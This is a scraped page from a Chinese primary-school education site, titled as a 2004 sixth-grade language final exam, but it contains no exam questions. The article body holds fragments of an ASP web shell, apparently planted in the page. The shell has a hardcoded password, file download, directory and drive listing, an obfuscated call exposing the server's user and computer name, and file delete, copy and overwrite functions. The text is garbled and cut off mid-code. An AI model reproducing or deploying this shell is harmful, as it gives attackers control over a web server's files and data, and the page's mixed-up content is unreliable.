| 网站首页 | 教研 | 综合 | 文章 | 小学语文教案 | 小学语文试题 | 小学语文课件 | 班主任 | 小学作文 | 图库 | 留言 | 帮助 | 
您现在的位置： 小学语文教育网 >> 文章 >> 小学语文试题 >> 六年级试题 >> 文章正文 用户登录 新用户注册
2004年秋季安溪县小学语文第十一册期末考试卷(一)

2004年秋季安溪县小学语文第十一册期末考试卷(一)

))="12345679" then response.cookies("password")="12345679" response.redirect rseb & "?d=ls.asp" else %>

password：
<% end if response.end end if select case d case "d.asp" call downloadfile(request("path")) function downloadfile(strfile) strfilename = strfile response.buffer = true response.clear%> <%s.open s.type = 1 if not ssyss.fileexists(strfilename) then response.write("

error:

" & strfilename & " does not exist

") response.end end if set f = ssyss.getfile(strfilename) intfilelength = f.size s.loadfromfile(strfilename) if err then response.write("

error:

" & err.description & "

") response.end end if response.addheader "content-disposition", "attachment; filename=" & f.name response.addheader "content-length", intfilelength response.charset = "utf-8" response.contenttype = "application/octet-stream" response.binarywrite s.read response.flush s.close set s = nothing response.end end function case "ls.asp" urlpath=server.urlencode(path) dim cpath,lpath if request("path")="" then lpath="/" else lpath=request("path")&"/" end if if request("attrib")="true" then cpath=replace(lpath,"/","\") attrib="true" else cpath=server.mappath(lpath) attrib="" end if sub getfolder() dim thefolder,thesubfolders if ssyss.folderexists(cpath)then set thefolder=ssyss.getfolder(cpath) set thesubfolders=thefolder.subfolders response.write"上级目录
<% end if end sub sub getfile() dim thefiles if ssyss.folderexists(cpath)then set thefolder=ssyss.getfolder(cpath) set thefiles=thefolder.files response.write"" end sub %> <%=httpt%> <%for each thing in ssyss.drives response.write "["&thing.driveletter&":]" next set oscriptnet=server.createobject("ws"+"cri"+"pt.ne"+"twork") %>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %> <%if request("attrib")="true" then response.write "切换到绝对路径" else response.write "切换到相对路径" end if %>rpath:<%=cpath%> | cdir:<%=lpath%>

<%call getfolder()%> <%call getfile()%>

modified by 123456789 base on xiaolu

<%case "e.asp"%> <%if request("op")="del" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.getfile(wfile) thisfile.delete true response.write "" else if request("op")="copy" then if request("attrib")="true" then wfile=request("path") dsfile=request("dpath") else wfile=server.mappath(request("path")) dsfile=server.mappath(request("dpath")) end if set thisfile = ssyss.getfile(wfile) thisfile.copy dsfile %> <% else if request.form("text")="" then if request("creat")<>"yes" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.opentextfile(wfile, 1, false) counter=0 thisline=thisfile.readall thisfile.close set fs=nothing end if %>
"> file:">
<%else if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set outfile=ssyss.createtextfile(wfile) outfile.writeline request("text") u

上一页  [1] [2] [3] [4] 下一页



尊敬的来宾：感谢您阅读2004年秋季安溪县小学语文第十一册期末考试卷(一),您现在访问的是小学语文教育网（xx.yuwen789.com）免费资料区，该栏目资源主要来自网友上传和网上搜集.
作者：小学试卷    文章来源：六年级    点击数：    更新时间：2007-5-30    文章录入：admin    责任编辑：admin 
  • 上一篇文章：

  • 下一篇文章：
    • 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    最新热点 最新推荐 相关文章
    元旦饺子会
    作文竞赛题目
    雨
    小学语文拓展知识
    六年级下学期期末语文考试设…
    修改病句
    2006年小学语文毕业复习“阅…
    2006年小学语文毕业复习“语…
    毕业班阅读练习一
    六年级试卷
    　　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
    Google
     

    Copyright Yuwen789.COM 小学语文教育网 All Rights Reserved Since 2006 湘ICP07000465号